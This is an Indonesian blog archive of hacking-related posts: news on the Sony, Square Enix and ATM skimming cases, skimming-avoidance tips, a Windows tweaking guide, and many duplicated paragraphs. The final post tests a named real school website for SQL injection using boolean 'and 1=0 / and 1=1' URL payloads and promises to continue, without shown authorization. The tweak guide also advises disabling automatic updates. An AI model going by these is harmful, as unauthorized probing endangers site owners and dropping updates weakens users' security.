Los Angeles, batamtoday - Musibah bobolnya lebih dari 100 juta data konsumen yang dialami oleh Sony membuat raksasa elektronik Jepang itu babak belur diprotes jutaan konsumenya. Dalam keterangan terbarunya kepada kongres AS, eksekutif Sony Kazuo Hirai menyalahkan kelompok hacker Anonymous sebagai pihak yang berada di balik serangan terhadap jaringan PlayStation Networn (PSN).
Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts
Friday, May 20, 2011
Hacker, Serang Square Enix
Seperti diberitakan laman resmi Square Enix, kelompok Hacker yang melakukan penyerangan diduga menggunakan akses melalui website Eidosmontreal.com. Situs itu sendiri dikelola oleh anak perusahaan Square Enix yang berkantor di Kanada.
Saturday, March 27, 2010
Hacker Tembus IE 8 di Windows 7 dalam 2 Menit
Dua orang peneliti masing-masing berhasil meraih hadiah sebesar 10 ribu dolar AS pada kontes hacking Pwn2Own yang berlangsung British Columbia, Canada. Mereka berhasil menembus keamanan pada Windows 7.
Peter Vreugdenhil, seorang peneliti celah keamanan freelance asal Belanda dan seorang peneliti Jerman yang hanya menyebutkan namanya, Nils, menemukan cara untuk mematikan DEP (data execution prevention) dan ASLR (address space layout randomization), dua fitur milik Windows 7 yang berfungsi sebagai pertahanan dari serangan luar.
Kedua peneliti tersebut berhasil menjadi pemenang setelah sukses menembus Windows 7 64-bit yang sudah menggunakan patch terbaru.
Vreugdenhil menggunakan kombinasi dua eksploit untuk mengatasi ASLR kemudian DEP untuk kemudian menembus Internet Explorer 8. “Cara itu adalah eksploitasi dua langkah,” kata Vreugdenhil, seperti VIVAnews kutip dari PCWorld, 26 Maret 2010. “Sebenarnya bisa dilakukan dengan satu langkah, tetapi akan memakan waktu lebih lama,” ucapnya.
Menggunakan teknik tersebut, Vreugdenhil menyebutkan, ia dapat mengambil alih kontrol komputer yang dituju hanya dalam waktu sekitar 2 menit. “Jika menggunakan satu exploit, perlu sekitar 50 sampai 60 menit,” ucapnya.
Setengah jam setelah Vreugdenhil sukses mengontrol IE 8 pada komputer target, Nils menerobos mekanisme pertahanan yang sama untuk mengambil alih kontrol Mozilla Firefox 3.6 yang juga terinstalasi di komputer sasaran.
Sebagai penghargaan atas jerih payah mereka, keduanya masing-masing berhak mendapatkan notebook yang berhasil mereka tembus, uang tunai senilai 10 ribu dolar AS, serta tiket dan akomodasi ke konferensi hacker DefCon di Las Vegas, Juli mendatang.
Dalam dokumen PDF yang ia rilis di blog-nya, Vreugdenhill mengungkapkan bagaimana cara ia menerobos ASLR dan DEP di Windows 7 secara detail.
Peter Vreugdenhil, seorang peneliti celah keamanan freelance asal Belanda dan seorang peneliti Jerman yang hanya menyebutkan namanya, Nils, menemukan cara untuk mematikan DEP (data execution prevention) dan ASLR (address space layout randomization), dua fitur milik Windows 7 yang berfungsi sebagai pertahanan dari serangan luar.
Kedua peneliti tersebut berhasil menjadi pemenang setelah sukses menembus Windows 7 64-bit yang sudah menggunakan patch terbaru.
Vreugdenhil menggunakan kombinasi dua eksploit untuk mengatasi ASLR kemudian DEP untuk kemudian menembus Internet Explorer 8. “Cara itu adalah eksploitasi dua langkah,” kata Vreugdenhil, seperti VIVAnews kutip dari PCWorld, 26 Maret 2010. “Sebenarnya bisa dilakukan dengan satu langkah, tetapi akan memakan waktu lebih lama,” ucapnya.
Menggunakan teknik tersebut, Vreugdenhil menyebutkan, ia dapat mengambil alih kontrol komputer yang dituju hanya dalam waktu sekitar 2 menit. “Jika menggunakan satu exploit, perlu sekitar 50 sampai 60 menit,” ucapnya.
Setengah jam setelah Vreugdenhil sukses mengontrol IE 8 pada komputer target, Nils menerobos mekanisme pertahanan yang sama untuk mengambil alih kontrol Mozilla Firefox 3.6 yang juga terinstalasi di komputer sasaran.
Sebagai penghargaan atas jerih payah mereka, keduanya masing-masing berhak mendapatkan notebook yang berhasil mereka tembus, uang tunai senilai 10 ribu dolar AS, serta tiket dan akomodasi ke konferensi hacker DefCon di Las Vegas, Juli mendatang.
Dalam dokumen PDF yang ia rilis di blog-nya, Vreugdenhill mengungkapkan bagaimana cara ia menerobos ASLR dan DEP di Windows 7 secara detail.
Wednesday, January 20, 2010
Modus Pencuri ATM BCA
Data yang dicuri dari nasabah bank BCA tak serta merta langsung digunakan pelaku untuk menjalankan aksinya. Orang Rusia yang menjadi otak kejahatan ini sebelumnya 'memagari' alias mengenkripsi data nasabah yang dicuri.
Ruby Alamsyah, analis digital forensik yang ikut mendampingi kepolisian mengusut kasus ini menjelaskan, untuk membobol rekening nasabah, pelaku menggunakan alat skimmer (pencuri informasi di kartu ATM atau kartu kredit). Dari data tersebut kemudian dimasukkan ke dalam kartu bodong.
"Cuma untuk kasus yang didalangi orang Rusia ini di Jakarta dan Bali, pelaku di Jakarta setelah dapat data yang dicuri tidak langsung menggunakannya. Tapi dikirimkan dulu ke Toronto, Kanada, tempat orang Rusia itu tinggal untuk dienkripsi," tuturnya kepada detikINET, Rabu (20/1/2010).
Selain itu, data nasabah curian yang dikirimkan dari Indonesia juga tak semuanya dikembalikan. Misalnya, anak buahnya di Indonesia telah mengumpulkan 1.000 dana nasabah, setelah dienkripsi paling datanya dikembalikan 500 data.
"Nah, nanti sisanya itu bisa dipergunakan di tempat lain seperti di Toronto, Kanada. Makanya, di dalam histori di buku nasabah yang jadi korban ada keterangan dikenai biaya tambahan Rp 25.000. Itu karena dipakai di Toronto dari jaringan Cirus, yang telah memiliki kerja sama dengan BCA," papar Ruby.
Ruby Alamsyah, analis digital forensik yang ikut mendampingi kepolisian mengusut kasus ini menjelaskan, untuk membobol rekening nasabah, pelaku menggunakan alat skimmer (pencuri informasi di kartu ATM atau kartu kredit). Dari data tersebut kemudian dimasukkan ke dalam kartu bodong.
"Cuma untuk kasus yang didalangi orang Rusia ini di Jakarta dan Bali, pelaku di Jakarta setelah dapat data yang dicuri tidak langsung menggunakannya. Tapi dikirimkan dulu ke Toronto, Kanada, tempat orang Rusia itu tinggal untuk dienkripsi," tuturnya kepada detikINET, Rabu (20/1/2010).
Selain itu, data nasabah curian yang dikirimkan dari Indonesia juga tak semuanya dikembalikan. Misalnya, anak buahnya di Indonesia telah mengumpulkan 1.000 dana nasabah, setelah dienkripsi paling datanya dikembalikan 500 data.
"Nah, nanti sisanya itu bisa dipergunakan di tempat lain seperti di Toronto, Kanada. Makanya, di dalam histori di buku nasabah yang jadi korban ada keterangan dikenai biaya tambahan Rp 25.000. Itu karena dipakai di Toronto dari jaringan Cirus, yang telah memiliki kerja sama dengan BCA," papar Ruby.
Tehnologi Akali Kartu ATM
Pencuri uang nasabah BCA diduga memiliki jaringan atau peralatan canggih. Uang seorang nasabah hilang setiap 20 detik dan itu dari sejumlah ATM yang tersebar di Bali secara simultan.
Seorang nasabah BCA Kuta yang tidak mau disebut namanya menceritakan kepada detikcom, Rabu (20/1/2010). Setelah uangnya hilang dia minta penjelasan ke BCA kapan dan bagaimana uangnya hilang.
Dari pelacakan BCA hari Senin (18/1/2010), pada Sabtu (16/1/2010) dia kehilangan Rp 75 juta. Rinciannya, 1 transaksi Rp 5 juta, 6 transaksi masing-masing Rp 10 juta dan 5 transaksi masing-masing Rp 2 juta, total Rp 75 juta.
Pada Minggu (17/1/2010) kembali dia kehilangan uang Rp 70 juta, sebuah transaksi bahkan terjadi pukul 04.00 Wita dini hari. Transaksi tercatat di sejumlah ATM seperti di Waterboom Kartika Plaza, Glory Restaurant dan Teuku Umar.
"Setiap transaksi terjadi dalam jeda 20 detik tapi di sejumlah ATM yang tersebar itu sekaligus. Cepat sekali berpindahnya, Mas. Saya ragu pelaku sungguh ada di depan ATM," kata korban yang sudah mengadukan kasusnya ke polisi ini.
Dia menjelaskan dia memakai kartu ATM BCA Platinum dengan limit pengambilan uang Rp 75 juta per hari. Kartu ini juga masuk dalam jaringan Cirrus. Dia pun selalu memakai mobile banking dan tidak pernah memakai ATM.
Sementara transaksi misterius itu tercatat sebagai transaksi ATM Interchange atau transfer non tunai. Bahkan ada transaksi dengan jumlah ganjil yaitu Rp 9.827.520.
"Apa uang saya diambil dalam US Dollar? Jadi angka rupiahnya aneh," kata dia.
Seorang nasabah BCA Kuta yang tidak mau disebut namanya menceritakan kepada detikcom, Rabu (20/1/2010). Setelah uangnya hilang dia minta penjelasan ke BCA kapan dan bagaimana uangnya hilang.
Dari pelacakan BCA hari Senin (18/1/2010), pada Sabtu (16/1/2010) dia kehilangan Rp 75 juta. Rinciannya, 1 transaksi Rp 5 juta, 6 transaksi masing-masing Rp 10 juta dan 5 transaksi masing-masing Rp 2 juta, total Rp 75 juta.
Pada Minggu (17/1/2010) kembali dia kehilangan uang Rp 70 juta, sebuah transaksi bahkan terjadi pukul 04.00 Wita dini hari. Transaksi tercatat di sejumlah ATM seperti di Waterboom Kartika Plaza, Glory Restaurant dan Teuku Umar.
"Setiap transaksi terjadi dalam jeda 20 detik tapi di sejumlah ATM yang tersebar itu sekaligus. Cepat sekali berpindahnya, Mas. Saya ragu pelaku sungguh ada di depan ATM," kata korban yang sudah mengadukan kasusnya ke polisi ini.
Dia menjelaskan dia memakai kartu ATM BCA Platinum dengan limit pengambilan uang Rp 75 juta per hari. Kartu ini juga masuk dalam jaringan Cirrus. Dia pun selalu memakai mobile banking dan tidak pernah memakai ATM.
Sementara transaksi misterius itu tercatat sebagai transaksi ATM Interchange atau transfer non tunai. Bahkan ada transaksi dengan jumlah ganjil yaitu Rp 9.827.520.
"Apa uang saya diambil dalam US Dollar? Jadi angka rupiahnya aneh," kata dia.
Orang Rusia Dalangi Pembobolan Dana Nasabah BCA
Raibnya jutaan dana sejumlah nasabah BCA di Bali sama dengan modus pembobolan di Jakarta. Komplotan ini diotaki orang Rusia. Pelaku yang berjumlah dua orang tersebut membiayai dan meminjamkan alat-alat yang digunakan pelaku di Indonesia untuk beraksi di Jakarta dan Bali.
"Saat ini orang Rusia tersebut bermukim di Toronto, Kanada, dan berumur di kisaran 50 tahunan," ujar Ruby Alamsyah, analis digital forensik yang ikut mendampingi kepolisian mengusut kasus ini.
Sementara orang Indonesia yang beraksi di Jakarta dan Bali, lanjutnya, cuma dimanfaatkan jadi kaki tangannya. "Si orang Rusia yang membiayai, mengotaki dan memberikan belasan alat skimmer (untuk mencuri identitas di kartu ATM)," tukas Ruby kepada detikINET, Rabu (20/1/2010).
Dari data yang dicuri tersebut lalu dimasukkan ke dalam kartu ATM bodong, untuk kemudian bisa digunakan untuk menarik dana di sejumlah tempat.
Kepolisian sendiri saat ini sudah menangkap kaki tangan si orang Rusia yang berjumlah 6 orang. Mereka beraksi di Jakarta dan kasusnya sekarang sudah dilimpahkan ke kejaksaan.
Sementara kasus dengan modus sama yang terjadi di Bali beberapa hari ini juga diduga kuat terjadi dengan kasus yang terungkap di Jakarta pada Oktober 2009 lalu tersebut.
"Sebab modus dan cara kerja yang digunakan sama. Mereka sama-sama menggunakan alat skimmer dan kamera. Alat-alat ini yang dipinjamkan orang Rusia tersebut," pungkas Ruby.
Kasus pembobolan rekening bank di Bali memang penuh misteri. Selain nasabah BCA, sejumlah nasabah bank lainnya, seperti BNI dan Bank Permata juga dibobol. Bahkan, ada nasabah yang mengaku tak pernah bertransaksi lewat ATM. Namun, dalam print out diketahui ada pembobolan rekeningnya melalui ATM.
"Saat ini orang Rusia tersebut bermukim di Toronto, Kanada, dan berumur di kisaran 50 tahunan," ujar Ruby Alamsyah, analis digital forensik yang ikut mendampingi kepolisian mengusut kasus ini.
Sementara orang Indonesia yang beraksi di Jakarta dan Bali, lanjutnya, cuma dimanfaatkan jadi kaki tangannya. "Si orang Rusia yang membiayai, mengotaki dan memberikan belasan alat skimmer (untuk mencuri identitas di kartu ATM)," tukas Ruby kepada detikINET, Rabu (20/1/2010).
Dari data yang dicuri tersebut lalu dimasukkan ke dalam kartu ATM bodong, untuk kemudian bisa digunakan untuk menarik dana di sejumlah tempat.
Kepolisian sendiri saat ini sudah menangkap kaki tangan si orang Rusia yang berjumlah 6 orang. Mereka beraksi di Jakarta dan kasusnya sekarang sudah dilimpahkan ke kejaksaan.
Sementara kasus dengan modus sama yang terjadi di Bali beberapa hari ini juga diduga kuat terjadi dengan kasus yang terungkap di Jakarta pada Oktober 2009 lalu tersebut.
"Sebab modus dan cara kerja yang digunakan sama. Mereka sama-sama menggunakan alat skimmer dan kamera. Alat-alat ini yang dipinjamkan orang Rusia tersebut," pungkas Ruby.
Kasus pembobolan rekening bank di Bali memang penuh misteri. Selain nasabah BCA, sejumlah nasabah bank lainnya, seperti BNI dan Bank Permata juga dibobol. Bahkan, ada nasabah yang mengaku tak pernah bertransaksi lewat ATM. Namun, dalam print out diketahui ada pembobolan rekeningnya melalui ATM.
Begini Cara Penjahat 'Mengintip' Kartu ATM
Jakarta - Modus skimming kerap digunakan oleh pelaku kejahatan dalam membobol kartu ATM nasabah bank tertentu. Modus ini yang diduga dilakukan oleh sekelompok penjahat cyber di Bali yang akhirnya menghasilkan bobolnya ratusan juta uang nasabah BCA.
Modus tersebut diduga sudah ada sejak masa-masa awal kartu ATM mulai populer. Meskipun metodenya di masa lalu mungkin relatif sederhana dibanding metode saat ini.
Skimming bisa terjadi karena informasi yang tersimpan secara magnetis pada kartu ATM. Informasi ini dibajak oleh perangkat khusus untuk kemudian disalin pada kartu 'bodong'.
Pelaku juga butuh mengetahui Personal Identification Number (PIN) korban untuk bisa memanfaatkan kartu palsu tersebut. Cara paling 'mudah' untuk mendapatkan PIN ini adalah dengan mengintip dari balik bahu nasabah saat bertransaksi atau menggunakan kamera perekam.
Berikut adalah beberapa informasi soal skimming yang dikumpulkan detikINET dari beberapa sumber, Rabu (20/1/2010):
* Skimming bisa dilakukan dengan memasang alat tambahan (electronic data capture) pada 'mulut' mesin ATM.
* Alat itu akan mengirimkan data ke pelaku secara nirkabel atau menyimpan data pada media penyimpanan tertentu.
* Di AS, skimming bahkan pernah dilakukan dengan memasang mesin ATM palsu.
* Pelaku juga 'melengkapi' modus ini dengan kamera atau alat perekam lain untuk mendapatkan nomor PIN nasabah.
* Biasanya pelaku memasang alat skimming pada larut malam dan/atau di lokasi sepi
* Biasanya skimming dipasang hanya pada untuk sementara waktu (beberapa jam saja)
* Skimming juga bisa dilakukan di luar ATM, misalnya lewat oknum di tempat belanja atau restoran.
Bagaimana menghindari Skimming?
* Kenali mesin ATM yang digunakan dengan baik.
* Kalau bisa, gunakan ATM di lokasi yang sama sesering mungkin sehingga akan terlihat jika terjadi perubahan.
* Perhatikan bila ada hal aneh pada mesin ATM seperti goresan, bercak, selotip, bekas lem dan hal-hal mencurigakan lainnya.
* Jika menemukan perubahan atau keganjilan pada ATM, laporkan pada pihak Bank dan tunda/jangan lakukan transaksi.
* Upayakan untuk mengakses ATM yang ada di dalam bank atau di lokasi yang ramai dan terang untuk meminimalisir risiko.
* Untuk penggunaan kartu di luar ATM (pada tempat belanja atau restoran) selalu perhatikan apa yang dilakukan petugas pada kartu dan tanyakan jika ada perilaku yang aneh.
* Jika digunakan saat berbelanja, kartu harusnya hanya digesekkan pada mesin resmi dan mesin kasir, tanyakan pada petugas bila menggesekkan kartu ke alat lain (terutama jika alat itu ada di tempat tersembunyi seperti di balik meja).
Modus tersebut diduga sudah ada sejak masa-masa awal kartu ATM mulai populer. Meskipun metodenya di masa lalu mungkin relatif sederhana dibanding metode saat ini.
Skimming bisa terjadi karena informasi yang tersimpan secara magnetis pada kartu ATM. Informasi ini dibajak oleh perangkat khusus untuk kemudian disalin pada kartu 'bodong'.
Pelaku juga butuh mengetahui Personal Identification Number (PIN) korban untuk bisa memanfaatkan kartu palsu tersebut. Cara paling 'mudah' untuk mendapatkan PIN ini adalah dengan mengintip dari balik bahu nasabah saat bertransaksi atau menggunakan kamera perekam.
Berikut adalah beberapa informasi soal skimming yang dikumpulkan detikINET dari beberapa sumber, Rabu (20/1/2010):
* Skimming bisa dilakukan dengan memasang alat tambahan (electronic data capture) pada 'mulut' mesin ATM.
* Alat itu akan mengirimkan data ke pelaku secara nirkabel atau menyimpan data pada media penyimpanan tertentu.
* Di AS, skimming bahkan pernah dilakukan dengan memasang mesin ATM palsu.
* Pelaku juga 'melengkapi' modus ini dengan kamera atau alat perekam lain untuk mendapatkan nomor PIN nasabah.
* Biasanya pelaku memasang alat skimming pada larut malam dan/atau di lokasi sepi
* Biasanya skimming dipasang hanya pada untuk sementara waktu (beberapa jam saja)
* Skimming juga bisa dilakukan di luar ATM, misalnya lewat oknum di tempat belanja atau restoran.
Bagaimana menghindari Skimming?
* Kenali mesin ATM yang digunakan dengan baik.
* Kalau bisa, gunakan ATM di lokasi yang sama sesering mungkin sehingga akan terlihat jika terjadi perubahan.
* Perhatikan bila ada hal aneh pada mesin ATM seperti goresan, bercak, selotip, bekas lem dan hal-hal mencurigakan lainnya.
* Jika menemukan perubahan atau keganjilan pada ATM, laporkan pada pihak Bank dan tunda/jangan lakukan transaksi.
* Upayakan untuk mengakses ATM yang ada di dalam bank atau di lokasi yang ramai dan terang untuk meminimalisir risiko.
* Untuk penggunaan kartu di luar ATM (pada tempat belanja atau restoran) selalu perhatikan apa yang dilakukan petugas pada kartu dan tanyakan jika ada perilaku yang aneh.
* Jika digunakan saat berbelanja, kartu harusnya hanya digesekkan pada mesin resmi dan mesin kasir, tanyakan pada petugas bila menggesekkan kartu ke alat lain (terutama jika alat itu ada di tempat tersembunyi seperti di balik meja).
Nasabah Bank Kuwait pun Bisa Bobol di Indonesia
Jakarta - Kasus pembobolan rekening nasabah bank di Indonesia memang beragam. Bahkan salah satunya dialami oleh seorang nasabah bank di Kuwait.
Harry Riyanto adalah praktisi teknologi informasi asal Indonesia yang saat ini bekerja sebagai IT Manager di sebuah hotel berbintang di Salmiya, Kuwait. Melihat maraknya berita mengenai raibnya dana nasabah bank-bank di Indonesia, Harry tergerak untuk bercerita melalui email yang diterima detikINET, Rabu (20/1/2010).
Menurut Harry, raibnya uang yang terjadi secara halus mengindikasikan keterlibatan sindikat internasional. Ia berpendapat, hal ini tak bisa dianggap remeh dan perlu ditindaklanjuti.
"Saya rasa prosesnya bukan melalui proses penggunaan alat untuk duplikasi atau kloning pada kartu ATM atau kartu kredit yang dikenal dengan modus skimming, karena setiap ATM mempunya CCTV yang akan merekam wajah pelaku, tetapi sudah pada tahapan menjebol informasi yang ada di bank itu sendiri," tuturnya.
Harry mengambil kesimpulan itu dengan berkaca pada kasus serupa yang menimpa dirinya. Ketika itu, ujar Harry, ia sebagai nasabah bank di Kuwait mengalami pembobolan di Indonesia.
"Kejadian menimpa saya adalah ketika suatu hari saya mencek saldo kartu kredit saya yang dikeluarkan oleh NBK (National Bank of Kuwait) karena transaksi terakhir yang saya lakukan di-decline. Saya terkaget-kaget karena dalam rincian transaksi digunakan untuk belanja di sebuah toko komputer di Pondok Indah Mall, belanja sepatu di Bucherri dan ada transaksi di sebuah café di Jakarta," tuturnya.
Padahal, lanjut Harry, selama tanggal transaksi tersebut ia tidak sedang berada di Indonesia. "Kalau pun pulang ke Indonesia juga tak pernah menggunakan kartu kredit yang dikeluarkan Kuwait karena selisih nilai tukar yang tinggi. Itu artinya kartu kredit saya yang dikeluarkan oleh bank diKuwait telah dikloning," tukasnya.
Sebelum kasus itu terjadi Harry menuturkan bahwa ia selalu berhati-hati dalam menggunakan komputer dalam transaksi online. Komputer dan piranti lunak yang digunakannya selalu bersih dan terupdate. Ia pun menggunakan Virtual Private Network (VPN) dengan keamanan berlapis. Oleh karena itu Harry yakin bahwa kasus yang terjadi adalah pembobolan informasi yang dimiliki oleh bank.
Tidak seperti kasus lain di Tanah Air, bank tempat Harry membuat kartu kredit itu bisa membatalkan transaksi colongan yang terjadi. "Transaksi senilai Rp 20 juta yang tidak saya lakukan tersebut dikembalikan dalam waktu 2 minggu kemudian, satu hal lagi yang bisa dijadikan contoh (bagi bank di tanah air). Nasabah kecil pun diperhatikan dan bukan dipersulit ketika mendapatkan masalah," ia berkisah.
Harry menutup kisahnya dengan sebuah pertanyaan yang patut dijawab oleh mereka yang berwenang. "Saya rasa ini PR untuk orang IT untuk menangani security di bank lebih ketat lagi dan kasus saya di atas sebagai contohnya. Banyak orang yang awam dan tidak hati-hati menggunakan internet sebagai media transaksi, atau memang (ada) informasi nasabah yang dicuri dari bank itu sendiri? Ini adalah sebuah teka teki yang perlu segera dijawab," ia menandaskan.
Harry Riyanto adalah praktisi teknologi informasi asal Indonesia yang saat ini bekerja sebagai IT Manager di sebuah hotel berbintang di Salmiya, Kuwait. Melihat maraknya berita mengenai raibnya dana nasabah bank-bank di Indonesia, Harry tergerak untuk bercerita melalui email yang diterima detikINET, Rabu (20/1/2010).
Menurut Harry, raibnya uang yang terjadi secara halus mengindikasikan keterlibatan sindikat internasional. Ia berpendapat, hal ini tak bisa dianggap remeh dan perlu ditindaklanjuti.
"Saya rasa prosesnya bukan melalui proses penggunaan alat untuk duplikasi atau kloning pada kartu ATM atau kartu kredit yang dikenal dengan modus skimming, karena setiap ATM mempunya CCTV yang akan merekam wajah pelaku, tetapi sudah pada tahapan menjebol informasi yang ada di bank itu sendiri," tuturnya.
Harry mengambil kesimpulan itu dengan berkaca pada kasus serupa yang menimpa dirinya. Ketika itu, ujar Harry, ia sebagai nasabah bank di Kuwait mengalami pembobolan di Indonesia.
"Kejadian menimpa saya adalah ketika suatu hari saya mencek saldo kartu kredit saya yang dikeluarkan oleh NBK (National Bank of Kuwait) karena transaksi terakhir yang saya lakukan di-decline. Saya terkaget-kaget karena dalam rincian transaksi digunakan untuk belanja di sebuah toko komputer di Pondok Indah Mall, belanja sepatu di Bucherri dan ada transaksi di sebuah café di Jakarta," tuturnya.
Padahal, lanjut Harry, selama tanggal transaksi tersebut ia tidak sedang berada di Indonesia. "Kalau pun pulang ke Indonesia juga tak pernah menggunakan kartu kredit yang dikeluarkan Kuwait karena selisih nilai tukar yang tinggi. Itu artinya kartu kredit saya yang dikeluarkan oleh bank diKuwait telah dikloning," tukasnya.
Sebelum kasus itu terjadi Harry menuturkan bahwa ia selalu berhati-hati dalam menggunakan komputer dalam transaksi online. Komputer dan piranti lunak yang digunakannya selalu bersih dan terupdate. Ia pun menggunakan Virtual Private Network (VPN) dengan keamanan berlapis. Oleh karena itu Harry yakin bahwa kasus yang terjadi adalah pembobolan informasi yang dimiliki oleh bank.
Tidak seperti kasus lain di Tanah Air, bank tempat Harry membuat kartu kredit itu bisa membatalkan transaksi colongan yang terjadi. "Transaksi senilai Rp 20 juta yang tidak saya lakukan tersebut dikembalikan dalam waktu 2 minggu kemudian, satu hal lagi yang bisa dijadikan contoh (bagi bank di tanah air). Nasabah kecil pun diperhatikan dan bukan dipersulit ketika mendapatkan masalah," ia berkisah.
Harry menutup kisahnya dengan sebuah pertanyaan yang patut dijawab oleh mereka yang berwenang. "Saya rasa ini PR untuk orang IT untuk menangani security di bank lebih ketat lagi dan kasus saya di atas sebagai contohnya. Banyak orang yang awam dan tidak hati-hati menggunakan internet sebagai media transaksi, atau memang (ada) informasi nasabah yang dicuri dari bank itu sendiri? Ini adalah sebuah teka teki yang perlu segera dijawab," ia menandaskan.
Monday, December 21, 2009
Tweaking Windows Untuk Mempercepat Computer
Pada kali ini kita akan membahas bagaimana mempercepat kinerja komputer yang kita miliki sehingga performance lebih baik dengan sedikit Tweaking dan Modifikasi pada setting Windows computer kita. Hal ini sangat membantu untuk mempercepat Kinerja computer kita yang mungkin anda rasa masih lamban seperti bila kita masih menggunakan PC setara pentium III atau Pentium 4.
Dengan menerapkan Modifikasi, optimiser, Tweaking seeting Registry pada Windows maka hal ini akan mengoptimalkan kerja dari Computer agar bekerja lebih cepat dari sebelumnya.
Berikut langkah Optimalisasi Windows untuk mempercepat kinerja Komputer :
A. Matikan beberapa fitur Start Up.
Hal ini akan mempercepat loading Windows pada waktu Booting atau pertama kali kita menghidupkan Komputer.
* Masuk menu RUN >>> Ketikan MSCONFIG >> OK >> Pilih menu Start Up >> Hilangkan semua cawang pada Start up kecuali Program Anti virus
* Klik Menu service >> Hilangkan cawang pada Automatic Updates
* Setelah itu >>> Aplly >>> Ok
Hal ini memerlukan Restart Windows, Setelah itu ada Message Windows dan pilih dont show this message again. Kemudian lanjutkan ke Optimasi pada Registry Windows di bawah ini.B. Optimasi Pada Registry
Rubah Registry Windows pada bagian berikut ini.
* MASUK RUN >> Ketik REGEDIT >> >> OK
* MY COMPUTER >>> HKEY_CURRENT_USER >> CONTROL PANEL >> DESKTOP >>
* Cari MENU SHOW DELAY >> Doble Klik dan rubah value data menjadi 10
* Cari HUNG-UP TIME OUT >> Doble Klik rubah value dataya menjadi 5
* MY COMPUTER >> HKEY_LOCAL_MACHINE >> SYSTEM >> CONTROLSET001 >> CONTROL >> WAIT TO KILL SERVICE >> Rubah Valuenya menjadi 500
* MY COMPUTER >> HKEY_LOCAL_MACHINE >> SYSTEM >> CONTROL SET002 >> CONTROL >> WAIT TO KILL SERVICE >> Rubah Valuenya menjadi 500
* MY COMPUTER >> HKEY_LOCAL_MACHINE >> SYSTEM >> CURRENT CONTROL Set> COntrol >> SESION MANAGER >> MEMORY MANAGEMENT >> DISABLE PAGING EXCecutive >> Rubah Value data menjadi 1
C. Optimalkan Virtual Memory
* Masuk Control Panel >> System >> Advanced >> Performance Setting >>> Pilih Custom >> Cawang pada : “Use Drop Shadow For Icon labels on the dekstop” dan “Use Visual styles on windows and buttons” dan kemudian aplly.
* Pada menu advanced >>> Virtual memory >> Change >> Klik pada drive c:Windows >> Pilih Custom Size >> Rubah Value pada initial size dan maximum Size 2 kali lipat dari value sebelumnya misal 256 rubah ke 512 , 512 rubah 1000) atau anda bisa merubah sesuai keinginan anda asal lebih besar dari value sebelumnya, Kemudian klik Ok.
Tweaking dan Modifikasi diatas bertujuan untuk mengoptimalkan dan mempercepat proses kerja suatu program atau software. Dan untuk mencegah peringatan / warning Virtual memory too low pada saat menjalankan program yag berat seperti Adobe Photoshob, Corel Draw, Adobe Premiere, Pinacle dan program berat lain yang memerlukan Virtual memory yang besar. Dan juga hal ini untuk mendukung Memory Ram yang kecil sehingga masih bisa digunakan untuk menjalankan progam berat tersebut.
Setelah selesai Restart komputer anda maka Kinerja dan Performance Computer anda akan lebih cepat dari sebelumnya. Selamat Mencoba.
Posted by Magid - Tks To...Admin ESC-creation
Saturday, April 18, 2009
Hapus File Terproteksi
File Detonator adalah aplikasi untuk menghapus file-file yang menetap di memory dan tidak bisa dihapus secara normal. Saya beberapa kali mengalami kasus, dimana pusing dengan adanya file-file yang gak berguna di memori, dan tidak bisa di hapus (terproteksi). Dan untuk anda yang mengalami kasus yang sama saya anjurkan menggunakan software ini. Dijamin yahud.
Berikut Link nya:Klik to download
Friday, February 27, 2009
Menyerang Website Sekolah Keponakan GW
Hm...pagi-pagi iseng nih, pengen cari hiburan. Chating bosen ngetik terus gk ada yg pakai vc. Eh..tiba-tiba keponakan di Mojokerto telphon nanya kabar. ''Gimana batam hari ini lek (om-bhs indonesia)'' , Baik...meski kadang-kadang cuaca gak bersahabat.
gak lama dia nanya, ''Lek, tolong cek dong website sekolahku, cari tahu apa yang harus di perbaiki?'' hmmm....gw lupa sekolah dia dimana? wkwkwkw.....(dasar oom gak perhatian hehe..). ''gak tahu apa alamat URL nya?'' -waduh..rupanya dia sekolah si SMKN 1 Pungging! weleh.....coba-coba bantu keponakan sekalian cari hiburan nih.
ok deh, langsung aja yah: udah dikasih tahu nih gw url websitenya : www.smkn1pungging.sch.id
Hm...ternyata websitenya PHP , wah pakai metode lama nih, pakai cara injeksi SQL.
target sudah jelas, kita test dulu apakah website ini bisa di injeksi?
Ok kita test dulu BUG nya. APakah website ini bisa di injeksi. dengan metode menambahkan (and 1=0 + and 1=1).
Waduh....ternyata waktu gw buka alamat target
www.smkn1pungging.id/index.php?load=home&vi=story&id_berita=2 and 1=0
>> LO KOK BERITA NYA MENGHILANG!!
www.smkn1pungging.id/index.php?load=home&vi=story&id_berita=2 and 1=1
>>Lo BERITA NYA MUNCUL LAGI!!
Weleh-weleh.......gw langsung pencet tuh nomor keponakan, call balik. Tuh website 99 persen
bisa di injeksi.....
Rencana injeksi gagal! byuh menjelang jam 5 kok speedy putus nyambung......:sssszzzztt:
Besok malam aja deh dilanjut..mata gw dah ngantuk.......jam 9 pagi mau kerja....-bersambung. - tunggu kelanjutanya ya...
''Sebelumnya, Mhn maaf pihak2 yang merasa di rugikan maksud tulisan ini dibuat hanya untuk pengetahuan'
gak lama dia nanya, ''Lek, tolong cek dong website sekolahku, cari tahu apa yang harus di perbaiki?'' hmmm....gw lupa sekolah dia dimana? wkwkwkw.....(dasar oom gak perhatian hehe..). ''gak tahu apa alamat URL nya?'' -waduh..rupanya dia sekolah si SMKN 1 Pungging! weleh.....coba-coba bantu keponakan sekalian cari hiburan nih.
ok deh, langsung aja yah: udah dikasih tahu nih gw url websitenya : www.smkn1pungging.sch.id
Hm...ternyata websitenya PHP , wah pakai metode lama nih, pakai cara injeksi SQL.
target sudah jelas, kita test dulu apakah website ini bisa di injeksi?
Ok kita test dulu BUG nya. APakah website ini bisa di injeksi. dengan metode menambahkan (and 1=0 + and 1=1).
Waduh....ternyata waktu gw buka alamat target
www.smkn1pungging.id/index.php?load=home&vi=story&id_berita=2 and 1=0
>> LO KOK BERITA NYA MENGHILANG!!
www.smkn1pungging.id/index.php?load=home&vi=story&id_berita=2 and 1=1
>>Lo BERITA NYA MUNCUL LAGI!!
Weleh-weleh.......gw langsung pencet tuh nomor keponakan, call balik. Tuh website 99 persen
bisa di injeksi.....
Rencana injeksi gagal! byuh menjelang jam 5 kok speedy putus nyambung......:sssszzzztt:
Besok malam aja deh dilanjut..mata gw dah ngantuk.......jam 9 pagi mau kerja....-bersambung. - tunggu kelanjutanya ya...
